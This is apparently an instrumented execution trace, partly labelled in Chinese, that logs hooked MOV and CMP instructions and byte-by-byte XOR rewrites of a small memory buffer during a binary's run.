寫入後 MEM = 0x32
[WRITE] @0x2003f22 ← 0x32
[XOR @0x1000cbb] MEM[0x2003f23] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x01
[XOR @0x1000cbb] MEM[0x2003f24] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f24 ← 0x01
[XOR @0x1000cbb] MEM[0x2003f25] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f25 ← 0x03
[XOR @0x1000cbb] MEM[0x2003f26] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x33
[XOR @0x1000cbb] MEM[0x2003f27] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f27 ← 0x30
[XOR @0x1000cbb] MEM[0x2003f28] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f28 ← 0x31
[STATE] ESI ← 0x5C
[HOOK MOV] @0x01001228: mov esi, 0x29
[XOR @0x100123c] MEM[0x2003f20] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f20 ← 0x33
[HOOK CMP] @0x01001242: cmp esi, 0x53
[XOR @0x100123c] MEM[0x2003f21] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x02
[XOR @0x100123c] MEM[0x2003f22] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f22 ← 0x32
[XOR @0x100123c] MEM[0x2003f23] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f23 ← 0x01
[XOR @0x100123c] MEM[0x2003f24] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f24 ← 0x01
[XOR @0x100123c] MEM[0x2003f25] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x03
[XOR @0x100123c] MEM[0x2003f26] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f26 ← 0x00
[XOR @0x100123c] MEM[0x2003f27] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x32
[XOR @0x100123c] MEM[0x2003f28] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x03
[XOR @0x100123c] MEM[0x2003f29] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f29 ← 0x32
[XOR @0x100123c] MEM[0x2003f2a] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f2a ← 0x01
[XOR @0x100123c] MEM[0x2003f2b] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f2b ← 0x02
[XOR @0x100123c] MEM[0x2003f2c] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f2c ← 0x30
[XOR @0x100123c] MEM[0x2003f2d] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f2d ← 0x01
[XOR @0x100123c] MEM[0x2003f2e] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f2e ← 0x01
[XOR @0x100123c] MEM[0x2003f2f] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f2f ← 0x01
[XOR @0x100123c] MEM[0x2003f30] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f30 ← 0x02
[XOR @0x100123c] MEM[0x2003f31] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x03
[XOR @0x100123c] MEM[0x2003f32] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f32 ← 0x02
[XOR @0x100123c] MEM[0x2003f33] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f33 ← 0x03
[XOR @0x100123c] MEM[0x2003f34] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f34 ← 0x02
[XOR @0x100123c] MEM[0x2003f35] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f35 ← 0x31
[XOR @0x100123c] MEM[0x2003f36] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f36 ← 0x02
[XOR @0x100123c] MEM[0x2003f37] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f37 ← 0x33
[XOR @0x100123c] MEM[0x2003f38] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f38 ← 0x30
[XOR @0x100123c] MEM[0x2003f39] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f39 ← 0x32
[XOR @0x100123c] MEM[0x2003f3a] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f3a ← 0x30
[XOR @0x100123c] MEM[0x2003f3b] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f3b ← 0x31
[XOR @0x100123c] MEM[0x2003f3c] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f3c ← 0x31
[XOR @0x100123c] MEM[0x2003f3d] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f3d ← 0x31
[XOR @0x100123c] MEM[0x2003f3e] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f3e ← 0x31
[XOR @0x100123c] MEM[0x2003f3f] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f3f ← 0x33
[XOR @0x100123c] MEM[0x2003f40] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f40 ← 0x30
[XOR @0x100123c] MEM[0x2003f41] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f41 ← 0x33
[XOR @0x100123c] MEM[0x2003f42] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f42 ← 0x02
[XOR @0x100123c] MEM[0x2003f43] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f43 ← 0x33
[XOR @0x100123c] MEM[0x2003f44] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f44 ← 0x31
[XOR @0x100123c] MEM[0x2003f45] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f45 ← 0x03
[XOR @0x100123c] MEM[0x2003f46] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f46 ← 0x02
[XOR @0x100123c] MEM[0x2003f47] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f47 ← 0x30
[XOR @0x100123c] MEM[0x2003f48] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f48 ← 0x30
[XOR @0x100123c] MEM[0x2003f49] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f49 ← 0x33
[STATE] ESI ← 0x20
[HOOK MOV] @0x010003b0: mov esi, 0xb
[HOOK MOV] @0x010003b5: mov esi, 0xae4c415d
[XOR @0x10003db] MEM[0x2003f20] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x010003e1: cmp esi, 0x17
[XOR @0x10003db] MEM[0x2003f21] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f21 ← 0x32
[XOR @0x10003db] MEM[0x2003f22] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f22 ← 0x33
[XOR @0x10003db] MEM[0x2003f23] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f23 ← 0x00
[XOR @0x10003db] MEM[0x2003f24] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f24 ← 0x00
[XOR @0x10003db] MEM[0x2003f25] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x01
[XOR @0x10003db] MEM[0x2003f26] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f26 ← 0x03
[XOR @0x10003db] MEM[0x2003f27] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f27 ← 0x30
[XOR @0x10003db] MEM[0x2003f28] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f28 ← 0x00
[XOR @0x10003db] MEM[0x2003f29] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f29 ← 0x30
[XOR @0x10003db] MEM[0x2003f2a] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f2a ← 0x30
[XOR @0x10003db] MEM[0x2003f2b] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f2b ← 0x00
[STATE] ESI ← 0x2B
[HOOK MOV] @0x010006e1: mov esi, 0xd
[XOR @0x10006f5] MEM[0x2003f20] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x010006fb: cmp esi, 0x1b
[XOR @0x10006f5] MEM[0x2003f21] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x33
[XOR @0x10006f5] MEM[0x2003f22] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f22 ← 0x32
[XOR @0x10006f5] MEM[0x2003f23] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x02
[XOR @0x10006f5] MEM[0x2003f24] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f24 ← 0x03
[XOR @0x10006f5] MEM[0x2003f25] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f25 ← 0x03
[XOR @0x10006f5] MEM[0x2003f26] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f26 ← 0x00
[XOR @0x10006f5] MEM[0x2003f27] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x32
[XOR @0x10006f5] MEM[0x2003f28] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f28 ← 0x31
[XOR @0x10006f5] MEM[0x2003f29] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f29 ← 0x32
[XOR @0x10006f5] MEM[0x2003f2a] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f2a ← 0x03
[XOR @0x10006f5] MEM[0x2003f2b] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f2b ← 0x30
[XOR @0x10006f5] MEM[0x2003f2c] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f2c ← 0x02
[XOR @0x10006f5] MEM[0x2003f2d] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f2d ← 0x31
[STATE] ESI ← 0x50
[HOOK MOV] @0x010005f9: mov esi, 0x12
[XOR @0x100060d] MEM[0x2003f20] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x32
[HOOK CMP] @0x01000613: cmp esi, 0x25
[XOR @0x100060d] MEM[0x2003f21] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f21 ← 0x30
[XOR @0x100060d] MEM[0x2003f22] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f22 ← 0x30
[XOR @0x100060d] MEM[0x2003f23] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f23 ← 0x33
[XOR @0x100060d] MEM[0x2003f24] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f24 ← 0x01
[XOR @0x100060d] MEM[0x2003f25] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x30
[XOR @0x100060d] MEM[0x2003f26] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f26 ← 0x30
[XOR @0x100060d] MEM[0x2003f27] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f27 ← 0x00
[XOR @0x100060d] MEM[0x2003f28] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x01
[XOR @0x100060d] MEM[0x2003f29] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f29 ← 0x03
[XOR @0x100060d] MEM[0x2003f2a] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f2a ← 0x32
[XOR @0x100060d] MEM[0x2003f2b] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f2b ← 0x01
[XOR @0x100060d] MEM[0x2003f2c] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x33
[XOR @0x100060d] MEM[0x2003f2d] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f2d ← 0x02
[XOR @0x100060d] MEM[0x2003f2e] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f2e ← 0x31
[XOR @0x100060d] MEM[0x2003f2f] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f2f ← 0x32
[XOR @0x100060d] MEM[0x2003f30] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f30 ← 0x00
[XOR @0x100060d] MEM[0x2003f31] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f31 ← 0x30
[XOR @0x100060d] MEM[0x2003f32] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f32 ← 0x33
[STATE] ESI ← 0x44
[HOOK MOV] @0x010015c7: mov esi, 0xe
[XOR @0x10015db] MEM[0x2003f20] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f20 ← 0x03
[HOOK CMP] @0x010015e1: cmp esi, 0x1d
[XOR @0x10015db] MEM[0x2003f21] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f21 ← 0x02
[XOR @0x10015db] MEM[0x2003f22] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f22 ← 0x30
[XOR @0x10015db] MEM[0x2003f23] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f23 ← 0x03
[XOR @0x10015db] MEM[0x2003f24] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f24 ← 0x32
[XOR @0x10015db] MEM[0x2003f25] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f25 ← 0x33
[XOR @0x10015db] MEM[0x2003f26] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f26 ← 0x32
[XOR @0x10015db] MEM[0x2003f27] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f27 ← 0x31
[XOR @0x10015db] MEM[0x2003f28] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f28 ← 0x03
[XOR @0x10015db] MEM[0x2003f29] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f29 ← 0x30
[XOR @0x10015db] MEM[0x2003f2a] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f2a ← 0x02
[XOR @0x10015db] MEM[0x2003f2b] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f2b ← 0x33
[XOR @0x10015db] MEM[0x2003f2c] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f2c ← 0x03
[XOR @0x10015db] MEM[0x2003f2d] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f2d ← 0x33
[XOR @0x10015db] MEM[0x2003f2e] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f2e ← 0x00
[STATE] ESI ← 0x2E
[HOOK MOV] @0x01001597: mov esi, 0x19
[HOOK MOV] @0x0100159c: mov esi, 0x2f
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x010015b2: cmp esi, 0x33
[WRITE] @0x2003f21 ← 0x32
[WRITE] @0x2003f22 ← 0x01
[WRITE] @0x2003f23 ← 0x32
[WRITE] @0x2003f24 ← 0x03
[WRITE] @0x2003f25 ← 0x02
[WRITE] @0x2003f26 ← 0x01
[WRITE] @0x2003f27 ← 0x01
[WRITE] @0x2003f28 ← 0x30
[WRITE] @0x2003f29 ← 0x32
[WRITE] @0x2003f2a ← 0x31
[WRITE] @0x2003f2b ← 0x02
[WRITE] @0x2003f2c ← 0x00
[WRITE] @0x2003f2d ← 0x31
[WRITE] @0x2003f2e ← 0x30
[WRITE] @0x2003f2f ← 0x02
[WRITE] @0x2003f30 ← 0x33
[WRITE] @0x2003f31 ← 0x00
[WRITE] @0x2003f32 ← 0x33
[WRITE] @0x2003f33 ← 0x03
[WRITE] @0x2003f34 ← 0x02
[WRITE] @0x2003f35 ← 0x31
[WRITE] @0x2003f36 ← 0x33
[WRITE] @0x2003f37 ← 0x01
[WRITE] @0x2003f38 ← 0x31
[WRITE] @0x2003f39 ← 0x00
[STATE] ESI ← 0x1D
[HOOK MOV] @0x01000a21: mov esi, 0x2
[XOR @0x1000a35] MEM[0x2003f20] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x01000a3b: cmp esi, 0x5
[XOR @0x1000a35] MEM[0x2003f21] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x00
[XOR @0x1000a35] MEM[0x2003f22] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f22 ← 0x02
[STATE] ESI ← 0x5E
[HOOK MOV] @0x010014b2: mov esi, 0x17
[HOOK MOV] @0x010014b7: mov esi, 0x2f
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x010014cd: cmp esi, 0x2f
[WRITE] @0x2003f21 ← 0x31
[WRITE] @0x2003f22 ← 0x02
[WRITE] @0x2003f23 ← 0x02
[WRITE] @0x2003f24 ← 0x32
[WRITE] @0x2003f25 ← 0x33
[WRITE] @0x2003f26 ← 0x30
[WRITE] @0x2003f27 ← 0x30
[WRITE] @0x2003f28 ← 0x03
[WRITE] @0x2003f29 ← 0x02
[WRITE] @0x2003f2a ← 0x02
[WRITE] @0x2003f2b ← 0x00
[WRITE] @0x2003f2c ← 0x33
[WRITE] @0x2003f2d ← 0x00
[WRITE] @0x2003f2e ← 0x33
[WRITE] @0x2003f2f ← 0x00
[WRITE] @0x2003f30 ← 0x03
[WRITE] @0x2003f31 ← 0x30
[WRITE] @0x2003f32 ← 0x00
[WRITE] @0x2003f33 ← 0x33
[WRITE] @0x2003f34 ← 0x02
[WRITE] @0x2003f35 ← 0x31
[WRITE] @0x2003f36 ← 0x33
[WRITE] @0x2003f37 ← 0x01
[STATE] ESI ← 0x21
[HOOK MOV] @0x01001540: mov esi, 0x11
[XOR @0x1001554] MEM[0x2003f20] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x01
[HOOK CMP] @0x0100155a: cmp esi, 0x23
[XOR @0x1001554] MEM[0x2003f21] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f21 ← 0x31
[XOR @0x1001554] MEM[0x2003f22] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f22 ← 0x31
[XOR @0x1001554] MEM[0x2003f23] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f23 ← 0x00
[XOR @0x1001554] MEM[0x2003f24] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f24 ← 0x03
[XOR @0x1001554] MEM[0x2003f25] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f25 ← 0x00
[XOR @0x1001554] MEM[0x2003f26] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f26 ← 0x31
[XOR @0x1001554] MEM[0x2003f27] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x01
[XOR @0x1001554] MEM[0x2003f28] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f28 ← 0x03
[XOR @0x1001554] MEM[0x2003f29] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f29 ← 0x32
[XOR @0x1001554] MEM[0x2003f2a] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f2a ← 0x33
[XOR @0x1001554] MEM[0x2003f2b] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f2b ← 0x31
[XOR @0x1001554] MEM[0x2003f2c] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f2c ← 0x02
[XOR @0x1001554] MEM[0x2003f2d] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f2d ← 0x31
[XOR @0x1001554] MEM[0x2003f2e] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f2e ← 0x00
[XOR @0x1001554] MEM[0x2003f2f] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f2f ← 0x30
[XOR @0x1001554] MEM[0x2003f30] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f30 ← 0x30
[XOR @0x1001554] MEM[0x2003f31] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f31 ← 0x32
[STATE] ESI ← 0x47
[HOOK MOV] @0x01000cd6: mov esi, 0x28
[XOR @0x1000cea] MEM[0x2003f20] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x01000cf0: cmp esi, 0x51
[XOR @0x1000cea] MEM[0x2003f21] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f21 ← 0x02
[XOR @0x1000cea] MEM[0x2003f22] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f22 ← 0x01
[XOR @0x1000cea] MEM[0x2003f23] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x00
[XOR @0x1000cea] MEM[0x2003f24] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f24 ← 0x03
[XOR @0x1000cea] MEM[0x2003f25] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f25 ← 0x00
[XOR @0x1000cea] MEM[0x2003f26] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x31
[XOR @0x1000cea] MEM[0x2003f27] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f27 ← 0x30
[XOR @0x1000cea] MEM[0x2003f28] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f28 ← 0x01
[XOR @0x1000cea] MEM[0x2003f29] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f29 ← 0x33
[XOR @0x1000cea] MEM[0x2003f2a] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x33
[XOR @0x1000cea] MEM[0x2003f2b] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f2b ← 0x32
[XOR @0x1000cea] MEM[0x2003f2c] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x02
[XOR @0x1000cea] MEM[0x2003f2d] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f2d ← 0x00
[XOR @0x1000cea] MEM[0x2003f2e] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f2e ← 0x30
[XOR @0x1000cea] MEM[0x2003f2f] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f2f ← 0x31
[XOR @0x1000cea] MEM[0x2003f30] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f30 ← 0x03
[XOR @0x1000cea] MEM[0x2003f31] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f31 ← 0x01
[XOR @0x1000cea] MEM[0x2003f32] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f32 ← 0x32
[XOR @0x1000cea] MEM[0x2003f33] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f33 ← 0x31
[XOR @0x1000cea] MEM[0x2003f34] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f34 ← 0x02
[XOR @0x1000cea] MEM[0x2003f35] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f35 ← 0x01
[XOR @0x1000cea] MEM[0x2003f36] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f36 ← 0x02
[XOR @0x1000cea] MEM[0x2003f37] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f37 ← 0x02
[XOR @0x1000cea] MEM[0x2003f38] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f38 ← 0x30
[XOR @0x1000cea] MEM[0x2003f39] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f39 ← 0x32
[XOR @0x1000cea] MEM[0x2003f3a] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f3a ← 0x01
[XOR @0x1000cea] MEM[0x2003f3b] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f3b ← 0x33
[XOR @0x1000cea] MEM[0x2003f3c] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f3c ← 0x30
[XOR @0x1000cea] MEM[0x2003f3d] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f3d ← 0x33
[XOR @0x1000cea] MEM[0x2003f3e] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f3e ← 0x33
[XOR @0x1000cea] MEM[0x2003f3f] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f3f ← 0x03
[XOR @0x1000cea] MEM[0x2003f40] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f40 ← 0x02
[XOR @0x1000cea] MEM[0x2003f41] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f41 ← 0x32
[XOR @0x1000cea] MEM[0x2003f42] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f42 ← 0x31
[XOR @0x1000cea] MEM[0x2003f43] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f43 ← 0x03
[XOR @0x1000cea] MEM[0x2003f44] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f44 ← 0x02
[XOR @0x1000cea] MEM[0x2003f45] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
